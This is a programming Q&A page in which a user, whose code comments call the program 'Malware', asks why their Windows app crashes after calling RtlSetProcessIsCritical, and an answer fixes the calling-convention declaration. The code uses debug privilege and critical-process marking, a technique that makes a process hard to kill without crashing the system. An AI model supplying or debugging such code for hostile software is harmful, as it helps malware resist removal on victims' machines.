Lima X
Lima X

Reputation: 15

If RtlSetProcessIsCritical is called, comparing the commandline to a value using lstrcmpW will crash the programm

Im working on a bigger project right now and I've run into a weird problem. As the title states, im calling the RtlSetProcessIsCritical function and I than try to exectute a codeblock if the second argument from the commandline matches with a preset value using lstrcmpW.

Reconstructed code from my project that projects the structer

Main Cpp File:

int WINAPI wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PWSTR pCmdLine, int nCmdShow) {
    int nArgs;
    LPWSTR* szArglist = CommandLineToArgvW(GetCommandLine(), &nArgs);

    // Check if ArgumentList was Created, if not: Exit Malware
    if (!szArglist) {
        MessageBox(NULL, L"Couldn't parse Commandline", L"CommandLineToArgvW", MB_OK | MB_SYSTEMMODAL | MB_ICONERROR);
        ExitProcess(EXIT_FAILURE);
    }

    if (nArgs > 1) {
        if (!lstrcmp(szArglist[1], L"/exec") {
            // Some Code here...
        } else if (!lstrcmp(szArglist[1], L"/host")) {
            // Some Code here...

            if (NTImportDLLFUNC()) {
                if (NTSetProcessIsCritical(TRUE)) {
                    // Debug Message
                    MessageBox(NULL, L"HostProcess is now Critical", L"N0T-iLLerka.X", MB_OK | MB_SYSTEMMODAL | MB_ICONWARNING);
                }
            }

            if (nArgs > 2) {
                if (!lstrcmp(szArglist[2], L"/init")) {
                    // Some Code here...
                }
            }
            // Deadlock here
        }
    }
// Some Code here...
}

The Utilities File:

#define OPTION_SHUTDOWN_SYSTEM 6
#define SE_DEBUG_PRIVILEGE 20

typedef NTSTATUS(CALLBACK* pRTLADJUSTPRIVILEGE)(ULONG, BOOLEAN, BOOLEAN, PBOOLEAN);
pRTLADJUSTPRIVILEGE RtlAdjustPrivilege;
typedef NTSTATUS(CALLBACK* pRTLSETPROCESSISCRITICAL)(BOOLEAN, BOOLEAN*, BOOLEAN);
pRTLSETPROCESSISCRITICAL RtlSetProcessIsCritical;

bool NTImportDLLFUNC() {
    HINSTANCE hNtdll = LoadLibrary(L"ntdll.dll");
    if (hNtdll) {
        RtlAdjustPrivilege = (pRTLADJUSTPRIVILEGE)GetProcAddress(hNtdll, "RtlAdjustPrivilege");
        if (!RtlAdjustPrivilege) {
            MessageBox(NULL, L"\"RtlAdjustPrivilege\" is invalid", L"GetProcAddress", MB_OK | MB_SYSTEMMODAL | MB_ICONERROR);
            FreeLibrary(hNtdll);
            return FALSE;
        }

        RtlSetProcessIsCritical = (pRTLSETPROCESSISCRITICAL)GetProcAddress(hNtdll, "RtlSetProcessIsCritical");
        if (!RtlSetProcessIsCritical) {
            MessageBox(NULL, L"\"RtlSetProcessIsCritical\" is invalid", L"GetProcAddress", MB_OK | MB_SYSTEMMODAL | MB_ICONERROR);
            FreeLibrary(hNtdll);
            return FALSE;
        }
    } else {
        MessageBox(NULL, L"Couldn't load \"ntdll.dll\"", L"N0T-iLLerka.X", MB_OK | MB_SYSTEMMODAL | MB_ICONERROR);
        return FALSE;
    }

    FreeLibrary(hNtdll);
    return TRUE;
}

bool NTSetProcessIsCritical(BOOLEAN blIscritical) {
    BOOLEAN bl;
    if (!RtlAdjustPrivilege(SE_DEBUG_PRIVILEGE, TRUE, FALSE, &bl)) {
        if (!RtlSetProcessIsCritical(blIscritical, NULL, FALSE)) {
            return TRUE;
        } else {
            MessageBox(NULL, L"Couldn't set Process Critical", L"RtlSetProcessIsCritical", MB_OK | MB_SYSTEMMODAL | MB_ICONERROR);
            return FALSE;
        }
    } else {
        MessageBox(NULL, L"Couldn't set Debug Privileges", L"RtlAdjustPrivilege", MB_OK | MB_SYSTEMMODAL | MB_ICONERROR);
        return FALSE;
    }

    return FALSE;
}

The problem now is that when I have called the RtlSetProcessIsCritical (unimportant to what it get's set) and the commandlineargument get's compared the application crashes, however if I don't make a call to RtlSetProcessIsCritical the programm works flawlessly for whatever reason.

I've found out that the problem is between the RtlSetProcessIsCritical function and this line if (!lstrcmp(szArglist[2], L"/init")) {

I've also tried to reproduce this "bug" in a other project with the same structer of code but it worked flawlessly there and I'm now out of ideas.

If you need the rest of the code you can read it at my Github, links to the 2 files:

Main Cpp

Utilities Cpp

(In the main file on my Github the call to RtlSetProcessIsCritical is after the if statement. This is temporery, it was just a quick workaround so I can atleast test the rest of the Software. In the release version this should be in the previously described order!)

Upvotes: 0

Views: 1246

Answers (1)

RbMm
RbMm

Reputation: 33754

declaration

typedef NTSTATUS(CALLBACK* pRTLSETPROCESSISCRITICAL)(BOOLEAN, BOOLEAN*, BOOLEAN);

is wrong. correct function definition is

NTSYSAPI
NTSTATUS
STDAPIVCALLTYPE
RtlSetProcessIsCritical(
    _In_ BOOLEAN NewValue,
    _Out_opt_ PBOOLEAN OldValue,
    _In_ BOOLEAN CheckFlag
    );

this is STDAPIVCALLTYPE - same as __cdecl, not CALLBACK (aka __stdcall). this is very rare exception for ntdll api. of course for x64 no different, so i sure your code is x86. as result your stack after call to RtlSetProcessIsCritical is wrong

as side note - you not need LoadLibrary and GetProcAddress (interesting - how you can call GetProcAddress without first call and GetProcAddress(LoadLibrary("kernel32"), "GetProcAddress") ?) . exist ntdll.lib and ntdllp.lib - simply link with it.

Upvotes: 1

Related Questions